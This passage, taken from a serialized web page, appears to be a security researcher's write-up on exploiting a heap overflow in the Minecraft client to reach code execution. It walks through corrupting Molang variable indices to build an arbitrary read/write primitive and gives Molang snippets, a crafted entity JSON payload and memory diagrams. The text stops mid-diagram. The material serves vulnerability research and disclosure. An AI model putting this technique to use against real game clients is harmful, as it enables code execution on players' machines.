",{"type":22,"tag":114,"props":154688,"children":154690},{"className":154689},[],[154691],{"type":28,"value":154692},"variable.result",{"type":28,"value":154694},") may differ between entities. To get around this, ",{"type":22,"tag":114,"props":154696,"children":154698},{"className":154697},[],[154699],{"type":28,"value":154700},"MolangIndexMap",{"type":28,"value":154702}," is used to map a global variable name to the correct per-entity slot.",{"type":22,"tag":1899,"props":154704,"children":154706},{"id":154705},"molangindexmap",[154707],{"type":28,"value":154700},{"type":22,"tag":31,"props":154709,"children":154710},{},[154711,154716,154718,154724,154726,154732],{"type":22,"tag":114,"props":154712,"children":154714},{"className":154713},[],[154715],{"type":28,"value":154700},{"type":28,"value":154717}," is a per-entity ",{"type":22,"tag":114,"props":154719,"children":154721},{"className":154720},[],[154722],{"type":28,"value":154723},"std::vector\u003Cuint16_t>",{"type":28,"value":154725},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":22,"tag":114,"props":154727,"children":154729},{"className":154728},[],[154730],{"type":28,"value":154731},"variable.result = 0",{"type":28,"value":154733}," it:",{"type":22,"tag":4029,"props":154735,"children":154736},{},[154737,154747,154757],{"type":22,"tag":68,"props":154738,"children":154739},{},[154740,154742],{"type":28,"value":154741},"Checks the global hashmap for ",{"type":22,"tag":114,"props":154743,"children":154745},{"className":154744},[],[154746],{"type":28,"value":11081},{"type":22,"tag":68,"props":154748,"children":154749},{},[154750,154752],{"type":28,"value":154751},"If found, uses the global index to look up the per-entity index in ",{"type":22,"tag":114,"props":154753,"children":154755},{"className":154754},[],[154756],{"type":28,"value":154700},{"type":22,"tag":68,"props":154758,"children":154759},{},[154760,154762],{"type":28,"value":154761},"If not found, creates a new global entry and assigns it ",{"type":22,"tag":114,"props":154763,"children":154765},{"className":154764},[],[154766],{"type":28,"value":154767},"last_index + 1",{"type":22,"tag":31,"props":154769,"children":154770},{},[154771,154773,154778,154780,154785,154787,154792,154794,154799,154801,154806,154807,154813,154815,154820],{"type":28,"value":154772},"This means the same global index for variable ",{"type":22,"tag":114,"props":154774,"children":154776},{"className":154775},[],[154777],{"type":28,"value":11081},{"type":28,"value":154779}," maps to the same position inside every entity’s ",{"type":22,"tag":114,"props":154781,"children":154783},{"className":154782},[],[154784],{"type":28,"value":154700},{"type":28,"value":154786},", but the actual ",{"type":22,"tag":114,"props":154788,"children":154790},{"className":154789},[],[154791],{"type":28,"value":154197},{"type":28,"value":154793}," for ",{"type":22,"tag":114,"props":154795,"children":154797},{"className":154796},[],[154798],{"type":28,"value":11081},{"type":28,"value":154800}," may live at different slots inside each entity's ",{"type":22,"tag":114,"props":154802,"children":154804},{"className":154803},[],[154805],{"type":28,"value":154524},{"type":28,"value":20498},{"type":22,"tag":114,"props":154808,"children":154810},{"className":154809},[],[154811],{"type":28,"value":154812},"Entity.MolangIndexMap[global_index]",{"type":28,"value":154814}," stores the per-entity index (slot) of variable ",{"type":22,"tag":114,"props":154816,"children":154818},{"className":154817},[],[154819],{"type":28,"value":11081},{"type":28,"value":292},{"type":22,"tag":31,"props":154822,"children":154823},{},[154824,154826,154831,154833,154838,154840,154845,154847,154852,154854,154860,154862,154867],{"type":28,"value":154825},"Importantly, we found that indices in the ",{"type":22,"tag":114,"props":154827,"children":154829},{"className":154828},[],[154830],{"type":28,"value":154700},{"type":28,"value":154832}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":22,"tag":114,"props":154834,"children":154836},{"className":154835},[],[154837],{"type":28,"value":154524},{"type":28,"value":154839},". This means that if we overwrite the index of variable ",{"type":22,"tag":114,"props":154841,"children":154843},{"className":154842},[],[154844],{"type":28,"value":11081},{"type":28,"value":154846}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":22,"tag":114,"props":154848,"children":154850},{"className":154849},[],[154851],{"type":28,"value":154524},{"type":28,"value":154853},", we could read from and write to ",{"type":22,"tag":114,"props":154855,"children":154857},{"className":154856},[],[154858],{"type":28,"value":154859},"address + 0x38",{"type":28,"value":154861}," through ",{"type":22,"tag":114,"props":154863,"children":154865},{"className":154864},[],[154866],{"type":28,"value":154692},{"type":28,"value":292},{"type":22,"tag":1289,"props":154869,"children":154871},{"id":154870},"building-a-molang-arbitrary-rw-primitive",[154872],{"type":28,"value":154873},"Building a Molang Arbitrary R/W Primitive",{"type":22,"tag":31,"props":154875,"children":154876},{},[154877,154879,154884,154886,154891],{"type":28,"value":154878},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":22,"tag":114,"props":154880,"children":154882},{"className":154881},[],[154883],{"type":28,"value":154554},{"type":28,"value":154885}," - specifically, of ",{"type":22,"tag":114,"props":154887,"children":154889},{"className":154888},[],[154890],{"type":28,"value":154524},{"type":28,"value":154892}," vector.",{"type":22,"tag":31,"props":154894,"children":154895},{},[154896,154898,154903,154905,154910,154911,154916,154918,154923],{"type":28,"value":154897},"Because every entity object is heap-allocated and contains a ",{"type":22,"tag":114,"props":154899,"children":154901},{"className":154900},[],[154902],{"type":28,"value":154524},{"type":28,"value":154904}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":22,"tag":114,"props":154906,"children":154908},{"className":154907},[],[154909],{"type":28,"value":151720},{"type":28,"value":57732},{"type":22,"tag":114,"props":154912,"children":154914},{"className":154913},[],[154915],{"type":28,"value":154524},{"type":28,"value":154917}," vector belonging to an entity object placed just next the ",{"type":22,"tag":114,"props":154919,"children":154921},{"className":154920},[],[154922],{"type":28,"value":154524},{"type":28,"value":154924}," allocated buffer.",{"type":22,"tag":107,"props":154926,"children":154928},{"code":154927},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[154929],{"type":22,"tag":114,"props":154930,"children":154931},{"__ignoreMap":7},[154932],{"type":28,"value":154927},{"type":22,"tag":31,"props":154934,"children":154935},{},[154936,154938,154943,154945,154951,154953,154958,154959,154965,154966,154971,154973,154978,154980,154985,154987,154992,154994,154999,155001,155006,155008,155013,155015,155021,155023,155028,155030,155035],{"type":28,"value":154937},"In the scenario above, the ",{"type":22,"tag":114,"props":154939,"children":154941},{"className":154940},[],[154942],{"type":28,"value":154700},{"type":28,"value":154944}," would map ",{"type":22,"tag":114,"props":154946,"children":154948},{"className":154947},[],[154949],{"type":28,"value":154950},"variable.a",{"type":28,"value":154952}," -> index ",{"type":22,"tag":114,"props":154954,"children":154956},{"className":154955},[],[154957],{"type":28,"value":6036},{"type":28,"value":231},{"type":22,"tag":114,"props":154960,"children":154962},{"className":154961},[],[154963],{"type":28,"value":154964},"variable.b",{"type":28,"value":154952},{"type":22,"tag":114,"props":154967,"children":154969},{"className":154968},[],[154970],{"type":28,"value":6026},{"type":28,"value":154972},", and so on. If we overwrite the index for ",{"type":22,"tag":114,"props":154974,"children":154976},{"className":154975},[],[154977],{"type":28,"value":154950},{"type":28,"value":154979}," with a value that is out-of-bounds for the ",{"type":22,"tag":114,"props":154981,"children":154983},{"className":154982},[],[154984],{"type":28,"value":154524},{"type":28,"value":154986},", it can instead index the ",{"type":22,"tag":114,"props":154988,"children":154990},{"className":154989},[],[154991],{"type":28,"value":151720},{"type":28,"value":154993}," field of the entity object above. Reading ",{"type":22,"tag":114,"props":154995,"children":154997},{"className":154996},[],[154998],{"type":28,"value":154950},{"type":28,"value":155000}," will then return the pointer stored at offset ",{"type":22,"tag":114,"props":155002,"children":155004},{"className":155003},[],[155005],{"type":28,"value":154458},{"type":28,"value":155007}," from the start of the ",{"type":22,"tag":114,"props":155009,"children":155011},{"className":155010},[],[155012],{"type":28,"value":154524},{"type":28,"value":155014}," (which in this diagram corresponds to ",{"type":22,"tag":114,"props":155016,"children":155018},{"className":155017},[],[155019],{"type":28,"value":155020},"variable.f",{"type":28,"value":155022},"), and writing to ",{"type":22,"tag":114,"props":155024,"children":155026},{"className":155025},[],[155027],{"type":28,"value":154950},{"type":28,"value":155029}," will overwrite that pointer - corrupting ",{"type":22,"tag":114,"props":155031,"children":155033},{"className":155032},[],[155034],{"type":28,"value":155020},{"type":28,"value":292},{"type":22,"tag":31,"props":155037,"children":155038},{},[155039,155041,155046,155047,155053,155055,155060,155062,155068,155070,155075,155077,155082,155084,155090,155092,155098,155100,155105],{"type":28,"value":155040},"To leak the address of the Minecraft executable we could increment ",{"type":22,"tag":114,"props":155042,"children":155044},{"className":155043},[],[155045],{"type":28,"value":154950},{"type":28,"value":842},{"type":22,"tag":114,"props":155048,"children":155050},{"className":155049},[],[155051],{"type":28,"value":155052},"variable.a += 8",{"type":28,"value":155054},"), which advances the pointer used for ",{"type":22,"tag":114,"props":155056,"children":155058},{"className":155057},[],[155059],{"type":28,"value":155020},{"type":28,"value":155061}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":22,"tag":114,"props":155063,"children":155065},{"className":155064},[],[155066],{"type":28,"value":155067},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":155069}," - this updates the ",{"type":22,"tag":114,"props":155071,"children":155073},{"className":155072},[],[155074],{"type":28,"value":155020},{"type":28,"value":155076}," pointer to our chosen address, and writing to ",{"type":22,"tag":114,"props":155078,"children":155080},{"className":155079},[],[155081],{"type":28,"value":155020},{"type":28,"value":155083},", for example ",{"type":22,"tag":114,"props":155085,"children":155087},{"className":155086},[],[155088],{"type":28,"value":155089},"variable.f = 1337",{"type":28,"value":155091},", writes the value ",{"type":22,"tag":114,"props":155093,"children":155095},{"className":155094},[],[155096],{"type":28,"value":155097},"1337",{"type":28,"value":155099}," to offset ",{"type":22,"tag":114,"props":155101,"children":155103},{"className":155102},[],[155104],{"type":28,"value":154458},{"type":28,"value":155106}," from that calculated address.",{"type":22,"tag":1899,"props":155108,"children":155110},{"id":155109},"testing-the-idea",[155111],{"type":28,"value":155112},"Testing the Idea",{"type":22,"tag":31,"props":155114,"children":155115},{},[155116,155118,155123,155125,155130,155132,155137],{"type":28,"value":155117},"We tested the idea by manually adding a pointer to the start of ",{"type":22,"tag":114,"props":155119,"children":155121},{"className":155120},[],[155122],{"type":28,"value":154524},{"type":28,"value":155124}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":22,"tag":4764,"props":155126,"children":155127},{},[155128],{"type":28,"value":155129},"almost",{"type":28,"value":155131}," worked - below is the state of the ",{"type":22,"tag":114,"props":155133,"children":155135},{"className":155134},[],[155136],{"type":28,"value":154524},{"type":28,"value":155138},"'s allocated buffer before the Molang script executes:",{"type":22,"tag":31,"props":155140,"children":155141},{},[155142],{"type":22,"tag":5928,"props":155143,"children":155145},{"alt":52519,"src":155144},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":22,"tag":31,"props":155147,"children":155148},{},[155149],{"type":28,"value":155150},"And this is after execution:",{"type":22,"tag":31,"props":155152,"children":155153},{},[155154],{"type":22,"tag":5928,"props":155155,"children":155157},{"alt":52519,"src":155156},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":22,"tag":31,"props":155159,"children":155160},{},[155161],{"type":28,"value":155162},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":22,"tag":107,"props":155164,"children":155166},{"code":155165,"language":35937,"meta":7,"className":35935,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[155167],{"type":22,"tag":114,"props":155168,"children":155169},{"__ignoreMap":7},[155170,155177,155198,155210,155222,155243,155250,155257,155264,155276,155289,155301,155313,155325,155341,155348,155360,155368,155376,155383,155390,155397],{"type":22,"tag":118,"props":155171,"children":155172},{"class":120,"line":121},[155173],{"type":22,"tag":118,"props":155174,"children":155175},{"style":125},[155176],{"type":28,"value":12879},{"type":22,"tag":118,"props":155178,"children":155179},{"class":120,"line":142},[155180,155185,155189,155194],{"type":22,"tag":118,"props":155181,"children":155182},{"style":204},[155183],{"type":28,"value":155184},"  \"format_version\"",{"type":22,"tag":118,"props":155186,"children":155187},{"style":125},[155188],{"type":28,"value":1319},{"type":22,"tag":118,"props":155190,"children":155191},{"style":1866},[155192],{"type":28,"value":155193},"\"1.10.0\"",{"type":22,"tag":118,"props":155195,"children":155196},{"style":125},[155197],{"type":28,"value":782},{"type":22,"tag":118,"props":155199,"children":155200},{"class":120,"line":177},[155201,155206],{"type":22,"tag":118,"props":155202,"children":155203},{"style":204},[155204],{"type":28,"value":155205},"  \"minecraft:client_entity\"",{"type":22,"tag":118,"props":155207,"children":155208},{"style":125},[155209],{"type":28,"value":38963},{"type":22,"tag":118,"props":155211,"children":155212},{"class":120,"line":195},[155213,155218],{"type":22,"tag":118,"props":155214,"children":155215},{"style":204},[155216],{"type":28,"value":155217},"    \"description\"",{"type":22,"tag":118,"props":155219,"children":155220},{"style":125},[155221],{"type":28,"value":38963},{"type":22,"tag":118,"props":155223,"children":155224},{"class":120,"line":244},[155225,155230,155234,155239],{"type":22,"tag":118,"props":155226,"children":155227},{"style":204},[155228],{"type":28,"value":155229},"      \"identifier\"",{"type":22,"tag":118,"props":155231,"children":155232},{"style":125},[155233],{"type":28,"value":1319},{"type":22,"tag":118,"props":155235,"children":155236},{"style":1866},[155237],{"type":28,"value":155238},"\"minecraft:leash_knot\"",{"type":22,"tag":118,"props":155240,"children":155241},{"style":125},[155242],{"type":28,"value":782},{"type":22,"tag":118,"props":155244,"children":155245},{"class":120,"line":253},[155246],{"type":22,"tag":118,"props":155247,"children":155248},{"emptyLinePlaceholder":15},[155249],{"type":28,"value":250},{"type":22,"tag":118,"props":155251,"children":155252},{"class":120,"line":263},[155253],{"type":22,"tag":118,"props":155254,"children":155255},{"style":24361},[155256],{"type":28,"value":129037},{"type":22,"tag":118,"props":155258,"children":155259},{"class":120,"line":318},[155260],{"type":22,"tag":118,"props":155261,"children":155262},{"style":125},[155263],{"type":28,"value":154347},{"type":22,"tag":118,"props":155265,"children":155266},{"class":120,"line":351},[155267,155272],{"type":22,"tag":118,"props":155268,"children":155269},{"style":204},[155270],{"type":28,"value":155271},"      \"scripts\"",{"type":22,"tag":118,"props":155273,"children":155274},{"style":125},[155275],{"type":28,"value":38963},{"type":22,"tag":118,"props":155277,"children":155278},{"class":120,"line":359},[155279,155284],{"type":22,"tag":118,"props":155280,"children":155281},{"style":204},[155282],{"type":28,"value":155283},"        \"initialize\"",{"type":22,"tag":118,"props":155285,"children":155286},{"style":125},[155287],{"type":28,"value":155288},": [\n",{"type":22,"tag":118,"props":155290,"children":155291},{"class":120,"line":368},[155292,155297],{"type":22,"tag":118,"props":155293,"children":155294},{"style":1866},[155295],{"type":28,"value":155296},"          \"variable.a = 0;\"",{"type":22,"tag":118,"props":155298,"children":155299},{"style":125},[155300],{"type":28,"value":782},{"type":22,"tag":118,"props":155302,"children":155303},{"class":120,"line":384},[155304,155309],{"type":22,"tag":118,"props":155305,"children":155306},{"style":1866},[155307],{"type":28,"value":155308},"          \"variable.b = 0;\"",{"type":22,"tag":118,"props":155310,"children":155311},{"style":125},[155312],{"type":28,"value":782},{"type":22,"tag":118,"props":155314,"children":155315},{"class":120,"line":417},[155316,155321],{"type":22,"tag":118,"props":155317,"children":155318},{"style":1866},[155319],{"type":28,"value":155320},"          \"variable.c = 0;\"",{"type":22,"tag":118,"props":155322,"children":155323},{"style":125},[155324],{"type":28,"value":782},{"type":22,"tag":118,"props":155326,"children":155327},{"class":120,"line":425},[155328,155333,155337],{"type":22,"tag":118,"props":155329,"children":155330},{"style":125},[155331],{"type":28,"value":155332},"          [",{"type":22,"tag":118,"props":155334,"children":155335},{"style":24361},[155336],{"type":28,"value":11589},{"type":22,"tag":118,"props":155338,"children":155339},{"style":125},[155340],{"type":28,"value":13772},{"type":22,"tag":118,"props":155342,"children":155343},{"class":120,"line":441},[155344],{"type":22,"tag":118,"props":155345,"children":155346},{"style":125},[155347],{"type":28,"value":45586},{"type":22,"tag":118,"props":155349,"children":155350},{"class":120,"line":475},[155351,155356],{"type":22,"tag":118,"props":155352,"children":155353},{"style":204},[155354],{"type":28,"value":155355},"        \"pre_animation\"",{"type":22,"tag":118,"props":155357,"children":155358},{"style":125},[155359],{"type":28,"value":155288},{"type":22,"tag":118,"props":155361,"children":155362},{"class":120,"line":484},[155363],{"type":22,"tag":118,"props":155364,"children":155365},{"style":1866},[155366],{"type":28,"value":155367},"          \"variable.a = 2.310732e-27;\"\n",{"type":22,"tag":118,"props":155369,"children":155370},{"class":120,"line":492},[155371],{"type":22,"tag":118,"props":155372,"children":155373},{"style":125},[155374],{"type":28,"value":155375},"        ]\n",{"type":22,"tag":118,"props":155377,"children":155378},{"class":120,"line":501},[155379],{"type":22,"tag":118,"props":155380,"children":155381},{"style":125},[155382],{"type":28,"value":39140},{"type":22,"tag":118,"props":155384,"children":155385},{"class":120,"line":519},[155386],{"type":22,"tag":118,"props":155387,"children":155388},{"style":125},[155389],{"type":28,"value":1254},{"type":22,"tag":118,"props":155391,"children":155392},{"class":120,"line":606},[155393],{"type":22,"tag":118,"props":155394,"children":155395},{"style":125},[155396],{"type":28,"value":7881},{"type":22,"tag":118,"props":155398,"children":155399},{"class":120,"line":615},[155400],{"type":22,"tag":118,"props":155401,"children":155402},{"style":125},[155403],{"type":28,"value":481},{"type":22,"tag":31,"props":155405,"children":155406},{},[155407,155409,155414,155416,155421,155423,155428],{"type":28,"value":155408},"As shown, the pointer of a variable at offset ",{"type":22,"tag":114,"props":155410,"children":155412},{"className":155411},[],[155413],{"type":28,"value":154458},{"type":28,"value":155415}," was modified and the core concept works. During ",{"type":22,"tag":114,"props":155417,"children":155419},{"className":155418},[],[155420],{"type":28,"value":154416},{"type":28,"value":155422}," copy, pointers of some other variables above offset ",{"type":22,"tag":114,"props":155424,"children":155426},{"className":155425},[],[155427],{"type":28,"value":154458},{"type":28,"value":155429}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":22,"tag":31,"props":155431,"children":155432},{},[155433],{"type":28,"value":155434},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":22,"tag":64,"props":155436,"children":155437},{},[155438,155451],{"type":22,"tag":68,"props":155439,"children":155440},{},[155441,155443,155449],{"type":28,"value":155442},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":22,"tag":114,"props":155444,"children":155446},{"className":155445},[],[155447],{"type":28,"value":155448},"FLT_MAX",{"type":28,"value":155450},", the value becomes an invalid float causing the increment operation to fail.",{"type":22,"tag":68,"props":155452,"children":155453},{},[155454,155456,155461,155463,155468,155469,155474,155476,155481],{"type":28,"value":155455},"As noted before, during assignment, ",{"type":22,"tag":114,"props":155457,"children":155459},{"className":155458},[],[155460],{"type":28,"value":154416},{"type":28,"value":155462}," fields are copied, and the ",{"type":22,"tag":114,"props":155464,"children":155466},{"className":155465},[],[155467],{"type":28,"value":41093},{"type":28,"value":154506},{"type":22,"tag":114,"props":155470,"children":155472},{"className":155471},[],[155473],{"type":28,"value":57575},{"type":28,"value":155475},". Since our source ",{"type":22,"tag":114,"props":155477,"children":155479},{"className":155478},[],[155480],{"type":28,"value":154416},{"type":28,"value":155482}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":22,"tag":31,"props":155484,"children":155485},{},[155486],{"type":28,"value":155487},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":22,"tag":1899,"props":155489,"children":155491},{"id":155490},"expanding-the-idea",[155492],{"type":28,"value":155493},"Expanding the Idea",{"type":22,"tag":31,"props":155495,"children":155496},{},[155497,155499,155504,155506,155511,155512,155517,155519,155524],{"type":28,"value":155498},"As mentioned earlier, the ",{"type":22,"tag":114,"props":155500,"children":155502},{"className":155501},[],[155503],{"type":28,"value":34695},{"type":28,"value":155505}," field of ",{"type":22,"tag":114,"props":155507,"children":155509},{"className":155508},[],[155510],{"type":28,"value":154416},{"type":28,"value":17418},{"type":22,"tag":114,"props":155513,"children":155515},{"className":155514},[],[155516],{"type":28,"value":59874},{"type":28,"value":155518},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":22,"tag":114,"props":155520,"children":155522},{"className":155521},[],[155523],{"type":28,"value":41093},{"type":28,"value":155525}," field remain unchanged before and after Molang execution.",{"type":22,"tag":31,"props":155527,"children":155528},{},[155529,155531,155536],{"type":28,"value":155530},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":22,"tag":114,"props":155532,"children":155534},{"className":155533},[],[155535],{"type":28,"value":154524},{"type":28,"value":155537},"’s allocated buffer + 4.",{"type":22,"tag":31,"props":155539,"children":155540},{},[155541,155543,155548,155550,155555,155557,155562,155563,155569],{"type":28,"value":155542},"In the example below, ",{"type":22,"tag":114,"props":155544,"children":155546},{"className":155545},[],[155547],{"type":28,"value":154950},{"type":28,"value":155549}," points to ",{"type":22,"tag":114,"props":155551,"children":155553},{"className":155552},[],[155554],{"type":28,"value":154524},{"type":28,"value":155556},", while ",{"type":22,"tag":114,"props":155558,"children":155560},{"className":155559},[],[155561],{"type":28,"value":154964},{"type":28,"value":155549},{"type":22,"tag":114,"props":155564,"children":155566},{"className":155565},[],[155567],{"type":28,"value":155568},"MolangVariableMap + 4",{"type":28,"value":213},{"type":22,"tag":107,"props":155571,"children":155573},{"code":155572},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155574],{"type":22,"tag":114,"props":155575,"children":155576},{"__ignoreMap":7},[155577],{"type":28,"value":155572},{"type":22,"tag":31,"props":155579,"children":155580},{},[155581,155583,155588,155589,155594,155596,155601,155603,155608,155610,155615],{"type":28,"value":155582},"Here, the ",{"type":22,"tag":114,"props":155584,"children":155586},{"className":155585},[],[155587],{"type":28,"value":41093},{"type":28,"value":155505},{"type":22,"tag":114,"props":155590,"children":155592},{"className":155591},[],[155593],{"type":28,"value":154950},{"type":28,"value":155595}," starts at the lower 32 bits of the ",{"type":22,"tag":114,"props":155597,"children":155599},{"className":155598},[],[155600],{"type":28,"value":155020},{"type":28,"value":155602}," pointer, while ",{"type":22,"tag":114,"props":155604,"children":155606},{"className":155605},[],[155607],{"type":28,"value":154964},{"type":28,"value":155609}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":22,"tag":114,"props":155611,"children":155613},{"className":155612},[],[155614],{"type":28,"value":155020},{"type":28,"value":155616}," pointer in a separate variable:",{"type":22,"tag":107,"props":155618,"children":155620},{"code":155619},"variable.saved_upper_32 = variable.b;\n",[155621],{"type":22,"tag":114,"props":155622,"children":155623},{"__ignoreMap":7},[155624],{"type":28,"value":155619},{"type":22,"tag":31,"props":155626,"children":155627},{},[155628],{"type":28,"value":155629},"Then we can modify the lower 32 bits of the pointer:",{"type":22,"tag":107,"props":155631,"children":155633},{"code":155632},"variable.a = variable.a + itof(0x8);\n",[155634],{"type":22,"tag":114,"props":155635,"children":155636},{"__ignoreMap":7},[155637],{"type":28,"value":155632},{"type":22,"tag":31,"props":155639,"children":155640},{},[155641],{"type":28,"value":155642},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":22,"tag":107,"props":155644,"children":155646},{"code":155645},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155647],{"type":22,"tag":114,"props":155648,"children":155649},{"__ignoreMap":7},[155650],{"type":28,"value":155645},{"type":22,"tag":31,"props":155652,"children":155653},{},[155654,155656,155661],{"type":28,"value":155655},"Since the 32 bits directly below the ",{"type":22,"tag":114,"props":155657,"children":155659},{"className":155658},[],[155660],{"type":28,"value":41093},{"type":28,"value":155662}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":22,"tag":107,"props":155664,"children":155666},{"code":155665},"variable.b = variable.saved_upper_32;\n",[155667],{"type":22,"tag":114,"props":155668,"children":155669},{"__ignoreMap":7},[155670],{"type":28,"value":155665},{"type":22,"tag":31,"props":155672,"children":155673},{},[155674,155676,155681],{"type":28,"value":155675},"Now ",{"type":22,"tag":114,"props":155677,"children":155679},{"className":155678},[],[155680],{"type":28,"value":155020},{"type":28,"value":155682}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":22,"tag":107,"props":155684,"children":155686},{"code":155685},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[155687],{"type":22,"tag":114,"props":155688,"children":155689},{"__ignoreMap":7},[155690],{"type":28,"value":155685},{"type":22,"tag":31,"props":155692,"children":155693},{},[155694,155696,155701],{"type":28,"value":155695},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":22,"tag":114,"props":155697,"children":155699},{"className":155698},[],[155700],{"type":28,"value":155568},{"type":28,"value":155702}," on the heap?",{"type":22,"tag":31,"props":155704,"children":155705},{},[155706,155708,155713,155715,155721],{"type":28,"value":155707},"Additionally, adding 8 to ",{"type":22,"tag":114,"props":155709,"children":155711},{"className":155710},[],[155712],{"type":28,"value":154950},{"type":28,"value":155714}," in the example above wouldn’t work because ",{"type":22,"tag":114,"props":155716,"children":155718},{"className":155717},[],[155719],{"type":28,"value":155720},"0xddccbba0",{"type":28,"value":155722}," is not a valid float. So the first issue still remains unresolved.",{"type":22,"tag":1899,"props":155724,"children":155726},{"id":155725},"the-final-approach",[155727],{"type":28,"value":155728},"The Final Approach",{"type":22,"tag":31,"props":155730,"children":155731},{},[155732,155734,155739,155741,155747],{"type":28,"value":155733},"We realized that instead of having the second pointer at ",{"type":22,"tag":114,"props":155735,"children":155737},{"className":155736},[],[155738],{"type":28,"value":155568},{"type":28,"value":155740},", we could instead have it at ",{"type":22,"tag":114,"props":155742,"children":155744},{"className":155743},[],[155745],{"type":28,"value":155746},"MolangVariableMap + 2",{"type":28,"value":155748},", which would resolve both of our issues.",{"type":22,"tag":31,"props":155750,"children":155751},{},[155752,155754,155759,155760,155765],{"type":28,"value":155753},"Let’s revisit the previous example, but this time ",{"type":22,"tag":114,"props":155755,"children":155757},{"className":155756},[],[155758],{"type":28,"value":154964},{"type":28,"value":155549},{"type":22,"tag":114,"props":155761,"children":155763},{"className":155762},[],[155764],{"type":28,"value":155746},{"type":28,"value":213},{"type":22,"tag":107,"props":155767,"children":155769},{"code":155768},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155770],{"type":22,"tag":114,"props":155771,"children":155772},{"__ignoreMap":7},[155773],{"type":28,"value":155768},{"type":22,"tag":31,"props":155775,"children":155776},{},[155777,155779,155784],{"type":28,"value":155778},"With this setup, we can calculate any address relative to ",{"type":22,"tag":114,"props":155780,"children":155782},{"className":155781},[],[155783],{"type":28,"value":155020},{"type":28,"value":155785}," by first saving the upper 48 bits of the address:",{"type":22,"tag":107,"props":155787,"children":155789},{"code":155788},"variable.saved_upper_48 = variable.b;\n",[155790],{"type":22,"tag":114,"props":155791,"children":155792},{"__ignoreMap":7},[155793],{"type":28,"value":155788},{"type":22,"tag":31,"props":155795,"children":155796},{},[155797,155798,155804,155806,155812],{"type":28,"value":131426},{"type":22,"tag":114,"props":155799,"children":155801},{"className":155800},[],[155802],{"type":28,"value":155803},"variable.saved_upper_48",{"type":28,"value":155805}," holds the value ",{"type":22,"tag":114,"props":155807,"children":155809},{"className":155808},[],[155810],{"type":28,"value":155811},"0x1c80ddcc",{"type":28,"value":292},{"type":22,"tag":31,"props":155814,"children":155815},{},[155816],{"type":28,"value":155817},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":22,"tag":107,"props":155819,"children":155821},{"code":155820},"variable.b = 0;\n",[155822],{"type":22,"tag":114,"props":155823,"children":155824},{"__ignoreMap":7},[155825],{"type":28,"value":155820},{"type":22,"tag":31,"props":155827,"children":155828},{},[155829],{"type":28,"value":155830},"Resulting in the following state:",{"type":22,"tag":107,"props":155832,"children":155834},{"code":155833},"                   +-------------+-------------+\n                   | a0 bb 